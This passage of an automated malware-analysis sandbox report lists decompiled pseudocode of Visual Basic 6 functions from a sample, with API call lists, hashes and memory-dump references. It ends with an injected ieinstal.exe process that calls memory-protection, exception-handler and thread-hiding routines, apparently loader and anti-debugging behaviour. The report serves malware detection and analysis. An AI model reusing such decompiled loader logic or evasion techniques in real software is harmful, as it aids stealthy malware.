					_t64 =  *((intOrPtr*)( *_v80 + 0x128))(_v80,  &_v76, _t60,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x30c))( *_v100));
					asm("fclex");
					_v84 = _t64;
					if(_v84 >= 0) {
						_v104 = _v104 & 0x00000000;
					} else {
						_push(0x128);
						_push(0x404b5c);
						_push(_v80);
						_push(_v84);
						L00401434();
						_v104 = _t64;
					}
					_t56 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, _v76);
					asm("fclex");
					_v88 = _t56;
					if(_v88 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x254);
						_push(0x4047c0);
						_push(_a4);
						_push(_v88);
						L00401434();
						_v108 = _t56;
					}
					L0040142E();
				}
				_v36 =  *0x401290;
				asm("wait");
				_push(0x41325f);
				L004013CE();
				return _t56;
			}

0x004130ef
0x004130fe
0x00413108
0x00413110
0x00413113
0x0041311a
0x00413129
0x00413132
0x00413137
0x0041313e
0x00413145
0x00413148
0x00413149
0x00413151
0x00413157
0x0041315e
0x00413163
0x00413169
0x00413176
0x00413190
0x00413178
0x00413178
0x0041317d
0x00413182
0x00413187
0x00413187
0x004131ab
0x004131af
0x004131b4
0x004131c3
0x004131c9
0x004131cb
0x004131d2
0x004131ee
0x004131d4
0x004131d4
0x004131d9
0x004131de
0x004131e1
0x004131e4
0x004131e9
0x004131e9
0x004131fd
0x00413203
0x00413205
0x0041320c
0x00413228
0x0041320e
0x0041320e
0x00413213
0x00413218
0x0041321b
0x0041321e
0x00413223
0x00413223
0x0041322f
0x0041322f
0x0041323a
0x0041323d
0x0041323e
0x00413259
0x0041325e

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00413108
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 00413132
#592.MSVBVM60(00000002), ref: 00413149
__vbaFreeVar.MSVBVM60(00000002), ref: 0041315E
__vbaNew2.MSVBVM60(00403FB4,00414010,00000002), ref: 00413182
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00000002), ref: 004131AF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000128,?,?,?,?,?,?,?,?,?,?,00000002), ref: 004131E4
__vbaHresultCheckObj.MSVBVM60(00000000,00401298,004047C0,00000254,?,?,?,?,?,?,?,?,?,?,00000002), ref: 0041321E
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00000002), ref: 0041322F
__vbaFreeStr.MSVBVM60(0041325F,00000002), ref: 00413259

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$#592ChkstkCopyNew2
String ID:
API String ID: 1778942155-0
Opcode ID: 3e8799c65ef5a5420b7eafc3ab6e4cd8ad5b69bf335958ce1dce1faf69d2b42b
Instruction ID: 06c6977a630f984e6a035be76cb44a6d8b7c33948acd841d6c9cf947c7322fff
Opcode Fuzzy Hash: 3e8799c65ef5a5420b7eafc3ab6e4cd8ad5b69bf335958ce1dce1faf69d2b42b
Instruction Fuzzy Hash: 46410774901208EFDB00EFA5C949BDDBBB5BF08709F10446AF505BB2A1CB799A85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041252C, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0041252C(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				short _v28;
				void* _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				char _v60;
				signed int _v64;
				signed int _v68;
				signed int _t44;
				signed int _t49;
				short _t50;
				intOrPtr _t61;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t61;
				_push(0x30);
				L004012C0();
				_v12 = _t61;
				_v8 = 0x4011f8;
				L004013DA();
				if( *0x414650 != 0) {
					_v60 = 0x414650;
				} else {
					_push(0x414650);
					_push(0x404ba0);
					L0040143A();
					_v60 = 0x414650;
				}
				_t7 =  &_v60; // 0x414650
				_v40 =  *((intOrPtr*)( *_t7));
				_t44 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
				asm("fclex");
				_v44 = _t44;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x404b90);
					_push(_v40);
					_push(_v44);
					L00401434();
					_v64 = _t44;
				}
				_v48 = _v32;
				_t49 =  *((intOrPtr*)( *_v48 + 0x108))(_v48,  &_v36);
				asm("fclex");
				_v52 = _t49;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x404d18);
					_push(_v48);
					_push(_v52);
					L00401434();
					_v68 = _t49;
				}
				_t50 = _v36;
				_v28 = _t50;
				L0040142E();
				_push(0x412633);
				L004013CE();
				return _t50;
			}

0x00412531
0x0041253c
0x0041253d
0x00412544
0x00412547
0x0041254f
0x00412552
0x0041255f
0x0041256b
0x00412585
0x0041256d
0x0041256d
0x00412572
0x00412577
0x0041257c
0x0041257c
0x0041258c
0x00412591
0x004125a0
0x004125a3
0x004125a5
0x004125ac
0x004125c5
0x004125ae
0x004125ae
0x004125b0
0x004125b5
0x004125b8
0x004125bb
0x004125c0
0x004125c0
0x004125cc
0x004125db
0x004125e1
0x004125e3
0x004125ea
0x00412606
0x004125ec
0x004125ec
0x004125f1
0x004125f6
0x004125f9
0x004125fc
0x00412601
0x00412601
0x0041260a
0x0041260e
0x00412615
0x0041261a
0x0041262d
0x00412632

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412547
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 0041255F
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,?,?,004012C6), ref: 00412577
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,00000014,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004125BB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404D18,00000108,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004125FC
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 00412615
__vbaFreeStr.MSVBVM60(00412633,?,?,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 0041262D

Strings

PFA, xrefs: 0041258C

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkCopyNew2
String ID: PFA
API String ID: 746201682-872771111
Opcode ID: 8b295b0502c1f88a1723dfb47d79d1adc251f4a5a68ccbdbb8f4ecbb7969c1a9
Instruction ID: 1cb3069a9f0d17a601f92f74c6fe8b9f687f89b351267b2e0704dd9dde07e995
Opcode Fuzzy Hash: 8b295b0502c1f88a1723dfb47d79d1adc251f4a5a68ccbdbb8f4ecbb7969c1a9
Instruction Fuzzy Hash: D831F4B4D00209EFCB00DF95D985BDDBBB4FF18714F20402AF101B72A0D7B8A9959B69

Uniqueness

Uniqueness Score: -1.00%

Function 00412259, Relevance: 13.6, APIs: 9, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00412259(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				char _v48;
				intOrPtr _v56;
				char _v64;
				intOrPtr _v72;
				char _v80;
				intOrPtr _v88;
				char _v96;
				intOrPtr* _v164;
				signed int _v168;
				signed int _v180;
				char* _t43;
				char* _t44;
				signed int _t51;
				void* _t62;
				void* _t64;
				intOrPtr _t65;

				_t65 = _t64 - 0xc;
				 *[fs:0x0] = _t65;
				L004012C0();
				_v16 = _t65;
				_v12 = 0x4011d8;
				_v8 = 0;
				_t43 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012c6, _t62);
				L004013DA();
				_push(1);
				L0040138C();
				if(_t43 != 0x800000) {
					L00401386();
					_t44 =  &_v32;
					L00401440();
					_v164 = _t44;
					_v88 = 0x80020004;
					_v96 = 0xa;
					_v72 = 0x80020004;
					_v80 = 0xa;
					_v56 = 0x80020004;
					_v64 = 0xa;
					_v40 = 0x80020004;
					_v48 = 0xa;
					_t51 =  *((intOrPtr*)( *_v164 + 0x44))(_v164, 0x1eab,  &_v48,  &_v64,  &_v80,  &_v96, _t44, _t43);
					asm("fclex");
					_v168 = _t51;
					if(_v168 >= 0) {
						_v180 = _v180 & 0x00000000;
					} else {
						_push(0x44);
						_push(0x404d08);
						_push(_v164);
						_push(_v168);
						L00401434();
						_v180 = _t51;
					}
					L0040142E();
					_push( &_v96);
					_push( &_v80);
					_push( &_v64);
					_t43 =  &_v48;
					_push(_t43);
					_push(4);
					L00401416();
				}
				_push(0x4123b8);
				L004013CE();
				return _t43;
			}

0x0041225c
0x0041226b
0x00412277
0x0041227f
0x00412282
0x00412289
0x00412298
0x004122a1
0x004122a6
0x004122a8
0x004122b2
0x004122b8
0x004122be
0x004122c2
0x004122c7
0x004122cd
0x004122d4
0x004122db
0x004122e2
0x004122e9
0x004122f0
0x004122f7
0x004122fe
0x00412328
0x0041232b
0x0041232d
0x0041233a
0x0041235c
0x0041233c
0x0041233c
0x0041233e
0x00412343
0x00412349
0x0041234f
0x00412354
0x00412354
0x00412366
0x0041236e
0x00412372
0x00412376
0x00412377
0x0041237a
0x0041237b
0x0041237d
0x00412382
0x00412385
0x004123b2
0x004123b7

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412277
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 004122A1
#589.MSVBVM60(00000001,?,?,?,?,004012C6), ref: 004122A8
#685.MSVBVM60(00000001,?,?,?,?,004012C6), ref: 004122B8
__vbaObjSet.MSVBVM60(?,00000000,00000001,?,?,?,?,004012C6), ref: 004122C2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404D08,00000044), ref: 0041234F
__vbaFreeObj.MSVBVM60(00000000,?,00404D08,00000044), ref: 00412366
__vbaFreeVarList.MSVBVM60(00000004,0000000A,0000000A,0000000A,0000000A), ref: 0041237D
__vbaFreeStr.MSVBVM60(004123B8,00000001,?,?,?,?,004012C6), ref: 004123B2

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#589#685CheckChkstkCopyHresultList
String ID:
API String ID: 2951427848-0
Opcode ID: 375b3ced9c12da40e348589a688149e8edb095c09cd7830cd4ca79fe52cef7d8
Instruction ID: 40cfb62ffc0a78d61982ec9e36d0223d17601a87dbac0976753b44437f849a80
Opcode Fuzzy Hash: 375b3ced9c12da40e348589a688149e8edb095c09cd7830cd4ca79fe52cef7d8
Instruction Fuzzy Hash: 3E3105B1D0024CAFDB10EF95C941BDEBBB8EF04304F10806AF615BA1A1D7B85A45CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00412839, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00412839(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				char* _t30;
				signed int _t34;
				intOrPtr _t47;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_push(0x2c);
				L004012C0();
				_v12 = _t47;
				_v8 = 0x401228;
				if( *0x414010 != 0) {
					_v60 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v60 = 0x414010;
				}
				_t30 =  &_v28;
				L00401440();
				_v48 = _t30;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004012C0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t34 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48,  &M00404D78, 0x10, _t30,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x304))( *_v60));
				asm("fclex");
				_v52 = _t34;
				if(_v52 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x404bd0);
					_push(_v48);
					_push(_v52);
					L00401434();
					_v64 = _t34;
				}
				L0040142E();
				_v24 = 0xc8;
				_push(0x412928);
				return _t34;
			}

0x0041283e
0x00412849
0x0041284a
0x00412851
0x00412854
0x0041285c
0x0041285f
0x0041286d
0x00412887
0x0041286f
0x0041286f
0x00412874
0x00412879
0x0041287e
0x0041287e
0x004128a2
0x004128a6
0x004128ab
0x004128ae
0x004128b5
0x004128bf
0x004128c9
0x004128ca
0x004128cb
0x004128cc
0x004128da
0x004128e0
0x004128e2
0x004128e9
0x00412905
0x004128eb
0x004128eb
0x004128f0
0x004128f5
0x004128f8
0x004128fb
0x00412900
0x00412900
0x0041290c
0x00412911
0x00412917
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412854
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00412879
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004128A6
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004128BF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,000001EC,?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004128FB
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 0041290C

Strings

alfas, xrefs: 004128CD

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: alfas
API String ID: 3189907775-3929025705
Opcode ID: aa706c0135b7cf7199d644791e35545a1d465a78d5149cca7f36664a4b2e0a9f
Instruction ID: 39477a610742267507c93b6df75b586705ad08972ca04adc3ede972216f18645
Opcode Fuzzy Hash: aa706c0135b7cf7199d644791e35545a1d465a78d5149cca7f36664a4b2e0a9f
Instruction Fuzzy Hash: 5E213BB4E50208EFCB00DF95D845BDDBBB8BF09714F10446AF101BB2A1C7B954909B59

Uniqueness

Uniqueness Score: -1.00%

Function 004123D7, Relevance: 12.1, APIs: 8, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E004123D7(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				short _v32;
				char _v40;
				void* _v60;
				signed int _v64;
				signed int _v68;
				short _v72;
				intOrPtr* _v80;
				signed int _v84;
				signed int _v88;
				signed int _t44;
				signed int _t48;
				signed short _t50;
				signed int _t54;
				intOrPtr _t68;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t68;
				_push(0x44);
				L004012C0();
				_v12 = _t68;
				_v8 = 0x4011e8;
				if( *0x414010 != 0) {
					_v80 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v80 = 0x414010;
				}
				_t44 =  &_v24;
				L00401440();
				_v64 = _t44;
				_t48 =  *((intOrPtr*)( *_v64 + 0xe0))(_v64,  &_v60, _t44,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x308))( *_v80));
				asm("fclex");
				_v68 = _t48;
				if(_v68 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0xe0);
					_push(0x404b5c);
					_push(_v64);
					_push(_v68);
					L00401434();
					_v84 = _t48;
				}
				_v32 = _v60;
				_v40 = 2;
				_t50 =  &_v40;
				_push(_t50);
				L00401380();
				asm("sbb eax, eax");
				_v72 =  ~( ~( ~_t50));
				L0040142E();
				L004013E0();
				_t54 = _v72;
				if(_t54 != 0) {
					_t54 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, 0x51a6);
					asm("fclex");
					_v64 = _t54;
					if(_v64 >= 0) {
						_v88 = _v88 & 0x00000000;
					} else {
						_push(0x254);
						_push(0x4047c0);
						_push(_a4);
						_push(_v64);
						L00401434();
						_v88 = _t54;
					}
				}
				_push(0x412519);
				return _t54;
			}

0x004123dc
0x004123e7
0x004123e8
0x004123ef
0x004123f2
0x004123fa
0x004123fd
0x0041240b
0x00412425
0x0041240d
0x0041240d
0x00412412
0x00412417
0x0041241c
0x0041241c
0x00412440
0x00412444
0x00412449
0x00412458
0x0041245e
0x00412460
0x00412467
0x00412483
0x00412469
0x00412469
0x0041246e
0x00412473
0x00412476
0x00412479
0x0041247e
0x0041247e
0x0041248b
0x0041248f
0x00412496
0x00412499
0x0041249a
0x004124a2
0x004124a8
0x004124af
0x004124b7
0x004124bc
0x004124c2
0x004124d1
0x004124d7
0x004124d9
0x004124e0
0x004124fc
0x004124e2
0x004124e2
0x004124e7
0x004124ec
0x004124ef
0x004124f2
0x004124f7
0x004124f7
0x004124e0
0x00412500
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 004123F2
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00412417
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412444
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,000000E0), ref: 00412479
#592.MSVBVM60(00000002), ref: 0041249A
__vbaFreeObj.MSVBVM60(00000002), ref: 004124AF
__vbaFreeVar.MSVBVM60(00000002), ref: 004124B7
__vbaHresultCheckObj.MSVBVM60(00000000,?,004047C0,00000254), ref: 004124F2

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$#592ChkstkNew2
String ID:
API String ID: 2440647905-0
Opcode ID: 221b70f37ffaa99fecb27e69ff8b79e89c30157c917f98711ccb89b9118d24ba
Instruction ID: 0cde63b28d4c358a136469f141ca8bb9eb64bba8f98a9256ae2ea8c8e4bbaa2e
Opcode Fuzzy Hash: 221b70f37ffaa99fecb27e69ff8b79e89c30157c917f98711ccb89b9118d24ba
Instruction Fuzzy Hash: 7A310574D00208EFDB14EFE1D949BDDBBB4AF08748F10442AF101BB2A1DBB85995DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00412CFF, Relevance: 12.1, APIs: 8, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00412CFF(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				long long _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v56;
				intOrPtr _v64;
				char _v72;
				intOrPtr _v80;
				char _v88;
				intOrPtr* _v92;
				signed int _v96;
				signed int _v108;
				intOrPtr* _v112;
				signed int _v116;
				char* _t48;
				char* _t49;
				char* _t53;
				signed int _t57;
				void* _t68;
				void* _t70;
				intOrPtr _t71;
				long long _t76;

				_t76 = __fp0;
				_t71 = _t70 - 0xc;
				 *[fs:0x0] = _t71;
				L004012C0();
				_v16 = _t71;
				_v12 = 0x401258;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x5c,  *[fs:0x0], 0x4012c6, _t68);
				_v64 = 0x404d90;
				_v72 = 8;
				_v80 = 1;
				_v88 = 0x8002;
				_push( &_v72);
				_t48 =  &_v88;
				_push(_t48);
				L00401428();
				_t49 = _t48;
				if(_t49 != 0) {
					if( *0x414010 != 0) {
						_v112 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v112 = 0x414010;
					}
					_t53 =  &_v40;
					L00401440();
					_v92 = _t53;
					_t57 =  *((intOrPtr*)( *_v92 + 0xf8))(_v92, 0,  &_v36, _t53,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x308))( *_v112));
					asm("fclex");
					_v96 = _t57;
					if(_v96 >= 0) {
						_v116 = _v116 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x404b5c);
						_push(_v92);
						_push(_v96);
						L00401434();
						_v116 = _t57;
					}
					_v108 = _v36;
					_v36 = _v36 & 0x00000000;
					_v48 = _v108;
					_v56 = 8;
					_push(2);
					_t49 =  &_v56;
					_push(_t49);
					L00401368();
					_v32 = _t76;
					L0040142E();
					L004013E0();
				}
				asm("wait");
				_push(0x412e4f);
				return _t49;
			}

0x00412cff
0x00412d02
0x00412d11
0x00412d1b
0x00412d23
0x00412d26
0x00412d2d
0x00412d3c
0x00412d3f
0x00412d46
0x00412d4d
0x00412d54
0x00412d5e
0x00412d5f
0x00412d62
0x00412d63
0x00412d68
0x00412d6d
0x00412d7a
0x00412d94
0x00412d7c
0x00412d7c
0x00412d81
0x00412d86
0x00412d8b
0x00412d8b
0x00412daf
0x00412db3
0x00412db8
0x00412dc9
0x00412dcf
0x00412dd1
0x00412dd8
0x00412df4
0x00412dda
0x00412dda
0x00412ddf
0x00412de4
0x00412de7
0x00412dea
0x00412def
0x00412def
0x00412dfb
0x00412dfe
0x00412e05
0x00412e08
0x00412e0f
0x00412e11
0x00412e14
0x00412e15
0x00412e1a
0x00412e20
0x00412e28
0x00412e28
0x00412e2d
0x00412e2e
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412D1B
__vbaVarTstNe.MSVBVM60(00008002,00000008), ref: 00412D63
__vbaNew2.MSVBVM60(00403FB4,00414010,00008002,00000008), ref: 00412D86
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,00008002,00000008), ref: 00412DB3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,000000F8,?,?,?,?,00008002,00000008), ref: 00412DEA
#600.MSVBVM60(00000008,00000002,?,?,?,?,00008002,00000008), ref: 00412E15
__vbaFreeObj.MSVBVM60(00000008,00000002,?,?,?,?,00008002,00000008), ref: 00412E20
__vbaFreeVar.MSVBVM60(00000008,00000002,?,?,?,?,00008002,00000008), ref: 00412E28

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#600CheckChkstkHresultNew2
String ID:
API String ID: 4000136832-0
Opcode ID: b9b99c1a5902d985433a403c6428b851a27f5c68d51d32d18cdc0df0718830a6
Instruction ID: 1bca8248e5be8b04ad4ed813c53d68c8d10b59d3d895346d4ff8b79fb98b9d5d
Opcode Fuzzy Hash: b9b99c1a5902d985433a403c6428b851a27f5c68d51d32d18cdc0df0718830a6
Instruction Fuzzy Hash: 9C31E4B0900208ABDB00DFD1C949BDDBBB8BF08708F10846AE111BB2A1CBB99945CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F, Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00411A8F(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr* _v28;
				signed int _v32;
				intOrPtr* _v40;
				signed int _v44;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x18);
				L004012C0();
				_v12 = _t40;
				_v8 = 0x4011a0;
				if( *0x414010 != 0) {
					_v40 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v40 = 0x414010;
				}
				_t26 =  &_v24;
				L00401440();
				_v28 = _t26;
				_t29 =  *((intOrPtr*)( *_v28 + 0x20c))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x304))( *_v40));
				asm("fclex");
				_v32 = _t29;
				if(_v32 >= 0) {
					_v44 = _v44 & 0x00000000;
				} else {
					_push(0x20c);
					_push(0x404bd0);
					_push(_v28);
					_push(_v32);
					L00401434();
					_v44 = _t29;
				}
				L0040142E();
				_push(0x411b54);
				return _t29;
			}

0x00411a94
0x00411a9f
0x00411aa0
0x00411aa7
0x00411aaa
0x00411ab2
0x00411ab5
0x00411ac3
0x00411add
0x00411ac5
0x00411ac5
0x00411aca
0x00411acf
0x00411ad4
0x00411ad4
0x00411af8
0x00411afc
0x00411b01
0x00411b0c
0x00411b12
0x00411b14
0x00411b1b
0x00411b37
0x00411b1d
0x00411b1d
0x00411b22
0x00411b27
0x00411b2a
0x00411b2d
0x00411b32
0x00411b32
0x00411b3e
0x00411b43
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00411AAA
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00411ACF
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,004012C6), ref: 00411AFC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,0000020C,?,?,?,?,?,?,004012C6), ref: 00411B2D
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,004012C6), ref: 00411B3E

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: fe638820301e3941b0b5bf8ec1804e8fe0646c630af5de6a10f76ca04bd44e38
Instruction ID: 899be0ac4bfd5c6c3d8cb200ea9978312e380a720f383eadc5116b03f362ee55
Opcode Fuzzy Hash: fe638820301e3941b0b5bf8ec1804e8fe0646c630af5de6a10f76ca04bd44e38
Instruction Fuzzy Hash: 0A11FEB4A40209AFCB00DF91C945FEEBBB8EF08744F60446AF201B72A1D7796945DB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ieinstal.exe PID: 6896 Parent PID: 5960 ieinstal.exeCOMMON

Executed Functions

Function 03232BC8, Relevance: 4.6, APIs: 3, Instructions: 102nativeCOMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL(?,Function_00001C71), ref: 03232BCC
NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018,?,?,?,?,?,?,00000000), ref: 03232CBA
NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual$ExceptionHandlerVectored
String ID:
API String ID: 4193742754-0
Opcode ID: c666a94cb4f9bd6bb429db83b16ccb42904415f3af006908a27b23af6a27a862
Instruction ID: 164a652b4a69e5da2a899a1315525724fcab6df52c0efc5271877742b8e34e5d
Opcode Fuzzy Hash: c666a94cb4f9bd6bb429db83b16ccb42904415f3af006908a27b23af6a27a862
Instruction Fuzzy Hash: 493127B4210701AFE704DE28CC85BA673A5FF16720F958259DD528F1E2C7B4D9C5CB61

Uniqueness

Uniqueness Score: -1.00%

Function 03238521, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Strings

\, xrefs: 03238522

Memory Dump Source

